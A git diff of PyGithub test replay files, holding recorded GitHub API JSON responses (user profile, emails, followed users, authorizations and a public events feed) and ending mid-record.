{"watchers":0,"pushed_at":"2012-11-03T09:00:59Z","forks":0,"has_issues":true,"has_downloads":true,"open_issues_count":0,"description":null,"html_url":"https://github.com/jacquev6/TestPyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/TestPyGithub","updated_at":"2012-11-03T09:01:00Z","permissions":{"push":true,"pull":true,"admin":true},"mirror_url":null,"clone_url":"https://github.com/jacquev6/TestPyGithub.git","language":null,"has_wiki":true,"ssh_url":"git@github.com:jacquev6/TestPyGithub.git","svn_url":"https://github.com/jacquev6/TestPyGithub","size":0,"fork":false,"full_name":"jacquev6/TestPyGithub","open_issues":0,"git_url":"git://github.com/jacquev6/TestPyGithub.git","forks_count":0,"name":"TestPyGithub","created_at":"2012-11-03T09:00:59Z","homepage":null,"private":false,"id":6517838,"master_branch":"master","network_count":0,"watchers_count":0} - diff --git a/tests/ReplayData/AuthenticatedUser.testEditWithoutArguments.txt b/tests/ReplayData/AuthenticatedUser.testEditWithoutArguments.txt index faf3ec04b0..d130343cc4 100644 --- a/tests/ReplayData/AuthenticatedUser.testEditWithoutArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testEditWithoutArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"811fb4d5df8bae5b1ef7d63537891a1c"'), ('date', 'Tue, 08 May 2012 10:05:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"collaborators":0,"type":"User","bio":"","url":"https://api.github.com/users/jacquev6","public_repos":10,"followers":13,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","total_private_repos":5,"disk_usage":16692,"plan":{"collaborators":1,"space":614400,"name":"micro","private_repos":5},"html_url":"https://github.com/jacquev6","owned_private_repos":5,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","following":24,"name":"Vincent Jacques","public_gists":1,"hireable":false,"id":327146} - diff --git a/tests/ReplayData/AuthenticatedUser.testEmails.txt b/tests/ReplayData/AuthenticatedUser.testEmails.txt index 22f9c2861f..de0ea39599 100644 --- a/tests/ReplayData/AuthenticatedUser.testEmails.txt +++ b/tests/ReplayData/AuthenticatedUser.testEmails.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:42 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] - diff --git a/tests/ReplayData/AuthenticatedUser.testFollowing.txt b/tests/ReplayData/AuthenticatedUser.testFollowing.txt index 2c13f315f3..75df2ee959 100644 --- a/tests/ReplayData/AuthenticatedUser.testFollowing.txt +++ b/tests/ReplayData/AuthenticatedUser.testFollowing.txt @@ -85,4 +85,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '3849'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f99f2d634d4429def3c7fae66ead9cb9"'), ('date', 'Sun, 20 May 2012 12:47:53 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jnorthrup","id":73514},{"url":"https://api.github.com/users/brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"brugidou","id":167633},{"url":"https://api.github.com/users/regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"regisb","id":44319},{"url":"https://api.github.com/users/walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"walidk","id":734669},{"url":"https://api.github.com/users/afzalkhan","gravatar_id":"8e85398b116be75d4baeeddfc9c3cce1","avatar_url":"https://secure.gravatar.com/avatar/8e85398b116be75d4baeeddfc9c3cce1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"afzalkhan","id":1003845},{"url":"https://api.github.com/users/sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sdanzan","id":1094967},{"url":"https://api.github.com/users/vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vineus","id":467126},{"url":"https://api.github.com/users/gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gturri","id":308601},{"url":"https://api.github.com/users/fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fjardon","id":121402},{"url":"https://api.github.com/users/cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cjuniet","id":1233553},{"url":"https://api.github.com/users/jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jardon-u","id":994192},{"url":"https://api.github.com/users/kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kamaradclimber","id":503537},{"url":"https://api.github.com/users/L42y","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"L42y","id":284820}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetAuthorizations.txt b/tests/ReplayData/AuthenticatedUser.testGetAuthorizations.txt index e4a315bdde..151f8d0b19 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetAuthorizations.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetAuthorizations.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f6052ad2b9941ba0829e326bd76377a3"'), ('date', 'Tue, 22 May 2012 18:31:38 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"scopes":["repo"],"updated_at":"2012-05-22T18:27:36Z","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"url":"https://api.github.com/authorizations/372294","token":"b7fd2a0346d9d590b1fad5e10971e8d29637a4ce","note_url":"http://vincent-jacques.net/PyGithub","note":"Note created by PyGithub","created_at":"2012-05-22T18:27:36Z","id":372294}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetEvents.txt b/tests/ReplayData/AuthenticatedUser.testGetEvents.txt index 5d6d547c87..579ea0d1d4 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetEvents.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '57490'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"9260400c8db419d7375cf37a6a89b38e"'), ('date', 'Sat, 26 May 2012 20:10:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"PushEvent","payload":{"head":"45dd4d971758b54af0b4138aa54b2a7266a66719","size":2,"push_id":80706714,"commits":[{"sha":"471b65cb6e5b4b57cca494d81a19a7cfecb9dcd7","author":{"name":"Chide","email":"c.groenouwe@ati-a.nl"},"url":"https://api.github.com/repos/swiftgame/SWiFT-fososc/commits/471b65cb6e5b4b57cca494d81a19a7cfecb9dcd7","distinct":true,"message":"added large part of current source code base of SWiFT fososc. More to come!"},{"sha":"45dd4d971758b54af0b4138aa54b2a7266a66719","author":{"name":"Chide","email":"c.groenouwe@ati-a.nl"},"url":"https://api.github.com/repos/swiftgame/SWiFT-fososc/commits/45dd4d971758b54af0b4138aa54b2a7266a66719","distinct":true,"message":"continued..."}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/swiftgame/SWiFT-fososc","id":2935425,"name":"swiftgame/SWiFT-fososc"},"created_at":"2012-05-26T20:10:46Z","id":"1556178218","actor":{"gravatar_id":"5866525f1e1a06544aaff0fa4f4f083a","url":"https://api.github.com/users/swiftgame","avatar_url":"https://secure.gravatar.com/avatar/5866525f1e1a06544aaff0fa4f4f083a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1248161,"login":"swiftgame"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":1,"created_at":"2012-05-23T18:10:30Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"* text\n\n(for now, just keep test passages short!)","title":"passages model","comments":1,"updated_at":"2012-05-26T20:10:46Z","url":"https://api.github.com/repos/unobliged/plymlet/issues/1","id":4717430,"assignee":{"gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/unobliged","id":1250266,"login":"unobliged"},"milestone":{"number":1,"due_on":null,"created_at":"2012-05-25T23:02:34Z","title":"Iteration 1","creator":{"gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"url":"https://api.github.com/repos/unobliged/plymlet/milestones/1","id":124261,"open_issues":3,"closed_issues":2,"description":"","state":"open"},"closed_at":"2012-05-26T20:10:46Z","user":{"gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"html_url":"https://github.com/unobliged/plymlet/issues/1","labels":[],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/unobliged/plymlet","id":4423508,"name":"unobliged/plymlet"},"created_at":"2012-05-26T20:10:46Z","id":"1556178217","actor":{"gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1250266,"login":"unobliged"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-26T20:10:46Z","body":"text has title, author, language, and content","updated_at":"2012-05-26T20:10:46Z","url":"https://api.github.com/repos/unobliged/plymlet/issues/comments/5949286","id":5949286,"user":{"avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","id":1250266,"login":"unobliged"}},"action":"created","issue":{"number":1,"created_at":"2012-05-23T18:10:30Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"title":"passages model","body":"* text\n\n(for now, just keep test passages short!)","comments":1,"updated_at":"2012-05-26T20:10:46Z","url":"https://api.github.com/repos/unobliged/plymlet/issues/1","id":4717430,"assignee":{"avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","id":1250266,"login":"unobliged"},"milestone":{"number":1,"due_on":null,"created_at":"2012-05-25T23:02:34Z","title":"Iteration 1","creator":{"avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"url":"https://api.github.com/repos/unobliged/plymlet/milestones/1","id":124261,"open_issues":3,"closed_issues":2,"description":"","state":"open"},"closed_at":"2012-05-26T20:10:46Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/3ba9e4f33f3277e20ee649efcf379ab9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3ba9e4f33f3277e20ee649efcf379ab9","url":"https://api.github.com/users/dpaola2","id":150509,"login":"dpaola2"},"html_url":"https://github.com/unobliged/plymlet/issues/1","labels":[],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/unobliged/plymlet","id":4423508,"name":"unobliged/plymlet"},"created_at":"2012-05-26T20:10:46Z","id":"1556178216","actor":{"gravatar_id":"8dd3d820658d79bb8cec3afe94c986d5","url":"https://api.github.com/users/unobliged","avatar_url":"https://secure.gravatar.com/avatar/8dd3d820658d79bb8cec3afe94c986d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1250266,"login":"unobliged"}},{"type":"PushEvent","payload":{"head":"be261259304b3f6361a546ef5ae1809d446216fa","size":1,"push_id":80706711,"commits":[{"sha":"be261259304b3f6361a546ef5ae1809d446216fa","author":{"name":"Ben Hundley","email":"ben.hundley@gmail.com"},"url":"https://api.github.com/repos/FestivalBobcats/newton.js/commits/be261259304b3f6361a546ef5ae1809d446216fa","distinct":true,"message":"having the camera follow the systems center of mass to maintain focus"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/FestivalBobcats/newton.js","id":4421856,"name":"FestivalBobcats/newton.js"},"created_at":"2012-05-26T20:10:45Z","id":"1556178213","actor":{"gravatar_id":"eb3fba221d6fb7f3298b132efae536e4","url":"https://api.github.com/users/FestivalBobcats","avatar_url":"https://secure.gravatar.com/avatar/eb3fba221d6fb7f3298b132efae536e4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":251029,"login":"FestivalBobcats"}},{"type":"PushEvent","payload":{"head":"bbbf9af215b683afefb3eaa2421c8d71bb02f70f","size":1,"push_id":80706710,"commits":[{"sha":"bbbf9af215b683afefb3eaa2421c8d71bb02f70f","author":{"name":"Bradley","email":"brmirly@gmail.com"},"url":"https://api.github.com/repos/brmirly/book-collector/commits/bbbf9af215b683afefb3eaa2421c8d71bb02f70f","distinct":true,"message":"Removing assets in public folder."}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/brmirly/book-collector","id":4455613,"name":"brmirly/book-collector"},"created_at":"2012-05-26T20:10:44Z","id":"1556178212","actor":{"gravatar_id":"7b2c3a273813afd3d0d1b80b08e84956","url":"https://api.github.com/users/brmirly","avatar_url":"https://secure.gravatar.com/avatar/7b2c3a273813afd3d0d1b80b08e84956?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":298873,"login":"brmirly"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/bitlove/objectify","id":4276638,"name":"bitlove/objectify"},"org":{"gravatar_id":"031eaa7ede474c82f6d623881d10f431","url":"https://api.github.com/orgs/bitlove","avatar_url":"https://secure.gravatar.com/avatar/031eaa7ede474c82f6d623881d10f431?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":32503,"login":"bitlove"},"created_at":"2012-05-26T20:10:43Z","id":"1556178211","actor":{"gravatar_id":"2354283d377abff092ede49fc560a4cc","url":"https://api.github.com/users/Applicat","avatar_url":"https://secure.gravatar.com/avatar/2354283d377abff092ede49fc560a4cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":77121,"login":"Applicat"}},{"type":"PushEvent","payload":{"head":"88679ce53b08ee13c9e20c7bc3d901495faf3519","size":1,"push_id":80706708,"ref":"refs/heads/master","commits":[{"sha":"88679ce53b08ee13c9e20c7bc3d901495faf3519","author":{"name":"Patrick Lioi","email":"patrick.lioi@gmail.com"},"url":"https://api.github.com/repos/plioi/rook/commits/88679ce53b08ee13c9e20c7bc3d901495faf3519","distinct":true,"message":"CompilerResult and InterpreterResult gain Language property. When interactive console outputs C# errors, they are flagged as C# errors."}]},"public":true,"repo":{"url":"https://api.github.com/repos/plioi/rook","id":1534527,"name":"plioi/rook"},"created_at":"2012-05-26T20:10:40Z","id":"1556178208","actor":{"gravatar_id":"8370120c77b6a1adcdc4458c7f4052be","url":"https://api.github.com/users/plioi","avatar_url":"https://secure.gravatar.com/avatar/8370120c77b6a1adcdc4458c7f4052be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":652745,"login":"plioi"}},{"type":"PushEvent","payload":{"head":"2f4373049a3f7702a9162c3a6b6d182083705bb4","size":1,"push_id":80706707,"commits":[{"sha":"2f4373049a3f7702a9162c3a6b6d182083705bb4","author":{"name":"Justin Forest","email":"justin.forest@gmail.com"},"url":"https://api.github.com/repos/tmradio/tmradio-website/commits/2f4373049a3f7702a9162c3a6b6d182083705bb4","distinct":true,"message":"Обновление карты концертов"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/tmradio/tmradio-website","id":1482040,"name":"tmradio/tmradio-website"},"org":{"gravatar_id":"652b36ee907f6f69ae6a8b72844c7951","url":"https://api.github.com/orgs/tmradio","avatar_url":"https://secure.gravatar.com/avatar/652b36ee907f6f69ae6a8b72844c7951?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":657556,"login":"tmradio"},"created_at":"2012-05-26T20:10:39Z","id":"1556178207","actor":{"gravatar_id":"b52062261a2135048e238fb4b7c4daf1","url":"https://api.github.com/users/umonkey","avatar_url":"https://secure.gravatar.com/avatar/b52062261a2135048e238fb4b7c4daf1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":16797,"login":"umonkey"}},{"type":"PushEvent","payload":{"head":"31658a5448e3b36705f4ff5977cd8d50c9ab9517","size":1,"push_id":80706705,"commits":[{"sha":"31658a5448e3b36705f4ff5977cd8d50c9ab9517","author":{"name":"Jorge Azevedo","email":"jorge.amado.azevedo@gmail.com"},"url":"https://api.github.com/repos/jorgeazevedo/xenomai-lab/commits/31658a5448e3b36705f4ff5977cd8d50c9ab9517","distinct":true,"message":"Changed source code MD syntax"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/jorgeazevedo/xenomai-lab","id":4456995,"name":"jorgeazevedo/xenomai-lab"},"created_at":"2012-05-26T20:10:38Z","id":"1556178205","actor":{"gravatar_id":"b7c9861bce375e9621554712ec95a9ea","url":"https://api.github.com/users/jorgeazevedo","avatar_url":"https://secure.gravatar.com/avatar/b7c9861bce375e9621554712ec95a9ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1672034,"login":"jorgeazevedo"}},{"type":"PullRequestEvent","payload":{"number":8,"pull_request":{"head":{"label":"vlad-ghita:integration","repo":{"name":"field_metakeys","size":116,"has_wiki":true,"created_at":"2012-05-26T20:04:21Z","clone_url":"https://github.com/vlad-ghita/field_metakeys.git","private":false,"watchers":1,"updated_at":"2012-05-26T20:08:29Z","git_url":"git://github.com/vlad-ghita/field_metakeys.git","url":"https://api.github.com/repos/vlad-ghita/field_metakeys","ssh_url":"git@github.com:vlad-ghita/field_metakeys.git","fork":true,"language":"PHP","pushed_at":"2012-05-26T20:08:29Z","id":4457461,"svn_url":"https://github.com/vlad-ghita/field_metakeys","mirror_url":null,"has_downloads":true,"open_issues":0,"has_issues":false,"homepage":"","full_name":"vlad-ghita/field_metakeys","description":"A Meta Keys field allows you to add arbitrary pieces of information to entries identified by a user generated key","forks":0,"html_url":"https://github.com/vlad-ghita/field_metakeys","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9b43cf8fce4ff1fe56cb86f0f6bf7839?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"9b43cf8fce4ff1fe56cb86f0f6bf7839","url":"https://api.github.com/users/vlad-ghita","id":422623,"login":"vlad-ghita"}},"sha":"ef75a939b37fb152b8eb845c94a0db7cf7d872a5","ref":"integration","user":{"avatar_url":"https://secure.gravatar.com/avatar/9b43cf8fce4ff1fe56cb86f0f6bf7839?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"9b43cf8fce4ff1fe56cb86f0f6bf7839","url":"https://api.github.com/users/vlad-ghita","id":422623,"login":"vlad-ghita"}},"issue_url":"https://github.com/brendo/field_metakeys/issues/8","number":8,"merged_by":null,"changed_files":1,"merged":false,"created_at":"2012-05-26T20:10:37Z","body":"Great extension :) I just made the multilingual version of this.\n\nI noticed it doesn't persist values in case of error in the form. This patch fixes it.\n\nRegards,\nVlad","comments":0,"title":"Retain post values in case of error","diff_url":"https://github.com/brendo/field_metakeys/pull/8.diff","updated_at":"2012-05-26T20:10:37Z","additions":4,"_links":{"html":{"href":"https://github.com/brendo/field_metakeys/pull/8"},"self":{"href":"https://api.github.com/repos/brendo/field_metakeys/pulls/8"},"comments":{"href":"https://api.github.com/repos/brendo/field_metakeys/issues/8/comments"},"issue":{"href":"https://api.github.com/repos/brendo/field_metakeys/issues/8"},"review_comments":{"href":"https://api.github.com/repos/brendo/field_metakeys/pulls/8/comments"}},"url":"https://api.github.com/repos/brendo/field_metakeys/pulls/8","id":1435459,"patch_url":"https://github.com/brendo/field_metakeys/pull/8.patch","mergeable":null,"closed_at":null,"commits":1,"merged_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/9b43cf8fce4ff1fe56cb86f0f6bf7839?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"9b43cf8fce4ff1fe56cb86f0f6bf7839","url":"https://api.github.com/users/vlad-ghita","id":422623,"login":"vlad-ghita"},"review_comments":0,"html_url":"https://github.com/brendo/field_metakeys/pull/8","deletions":2,"base":{"label":"brendo:integration","repo":{"name":"field_metakeys","size":744,"has_wiki":true,"created_at":"2010-10-04T07:06:12Z","clone_url":"https://github.com/brendo/field_metakeys.git","private":false,"watchers":11,"updated_at":"2012-05-26T20:04:21Z","git_url":"git://github.com/brendo/field_metakeys.git","url":"https://api.github.com/repos/brendo/field_metakeys","ssh_url":"git@github.com:brendo/field_metakeys.git","fork":false,"language":"PHP","pushed_at":"2012-04-28T06:44:21Z","id":959860,"svn_url":"https://github.com/brendo/field_metakeys","mirror_url":null,"has_downloads":true,"open_issues":1,"has_issues":true,"homepage":"","full_name":"brendo/field_metakeys","description":"A Meta Keys field allows you to add arbitrary pieces of information to entries identified by a user generated key","forks":3,"html_url":"https://github.com/brendo/field_metakeys","owner":{"avatar_url":"https://secure.gravatar.com/avatar/6be8e584a0f454ac2dc7600bdeaca7b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6be8e584a0f454ac2dc7600bdeaca7b7","url":"https://api.github.com/users/brendo","id":69268,"login":"brendo"}},"sha":"799a54a913f676b62522515ea0dd3af8f3e0f23a","ref":"integration","user":{"avatar_url":"https://secure.gravatar.com/avatar/6be8e584a0f454ac2dc7600bdeaca7b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6be8e584a0f454ac2dc7600bdeaca7b7","url":"https://api.github.com/users/brendo","id":69268,"login":"brendo"}},"state":"open"},"action":"opened"},"public":true,"repo":{"url":"https://api.github.com/repos/brendo/field_metakeys","id":959860,"name":"brendo/field_metakeys"},"created_at":"2012-05-26T20:10:38Z","id":"1556178203","actor":{"gravatar_id":"9b43cf8fce4ff1fe56cb86f0f6bf7839","url":"https://api.github.com/users/vlad-ghita","avatar_url":"https://secure.gravatar.com/avatar/9b43cf8fce4ff1fe56cb86f0f6bf7839?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":422623,"login":"vlad-ghita"}},{"type":"PushEvent","payload":{"head":"1a9d9e3f6ea16e1fd9da63ba62968e9710426ac9","size":6,"push_id":80706703,"commits":[{"sha":"e2a8dfdc3320ed5394c072f3c2483efe85586103","author":{"name":"Alex White","email":"VVu@geekfarm.org"},"url":"https://api.github.com/repos/wu/npkgs/commits/e2a8dfdc3320ed5394c072f3c2483efe85586103","distinct":true,"message":"upgraded openssl to 1.0.1c"},{"sha":"e81dcf515742cb0772784ed942dd33f2654b526a","author":{"name":"Alex White","email":"VVu@geekfarm.org"},"url":"https://api.github.com/repos/wu/npkgs/commits/e81dcf515742cb0772784ed942dd33f2654b526a","distinct":true,"message":"upgrading git to 1.7.10.1"},{"sha":"2723c6dc0f3bdabc2bfea24be603561667b649a8","author":{"name":"Alex White","email":"VVu@geekfarm.org"},"url":"https://api.github.com/repos/wu/npkgs/commits/2723c6dc0f3bdabc2bfea24be603561667b649a8","distinct":true,"message":"upgrading curl to 7.26.0"},{"sha":"8d5f7e60235c41683c8ff6222efc9a92a83ea901","author":{"name":"Alex White","email":"VVu@geekfarm.org"},"url":"https://api.github.com/repos/wu/npkgs/commits/8d5f7e60235c41683c8ff6222efc9a92a83ea901","distinct":true,"message":"upgrade sqlite to 3071201"},{"sha":"3df38eaf44fc222b40db3732d055c31a7d740c83","author":{"name":"Alex White","email":"VVu@geekfarm.org"},"url":"https://api.github.com/repos/wu/npkgs/commits/3df38eaf44fc222b40db3732d055c31a7d740c83","distinct":true,"message":"upgraded subversion to 1.7.5"},{"sha":"1a9d9e3f6ea16e1fd9da63ba62968e9710426ac9","author":{"name":"Alex White","email":"VVu@geekfarm.org"},"url":"https://api.github.com/repos/wu/npkgs/commits/1a9d9e3f6ea16e1fd9da63ba62968e9710426ac9","distinct":true,"message":"upgrade nagios to 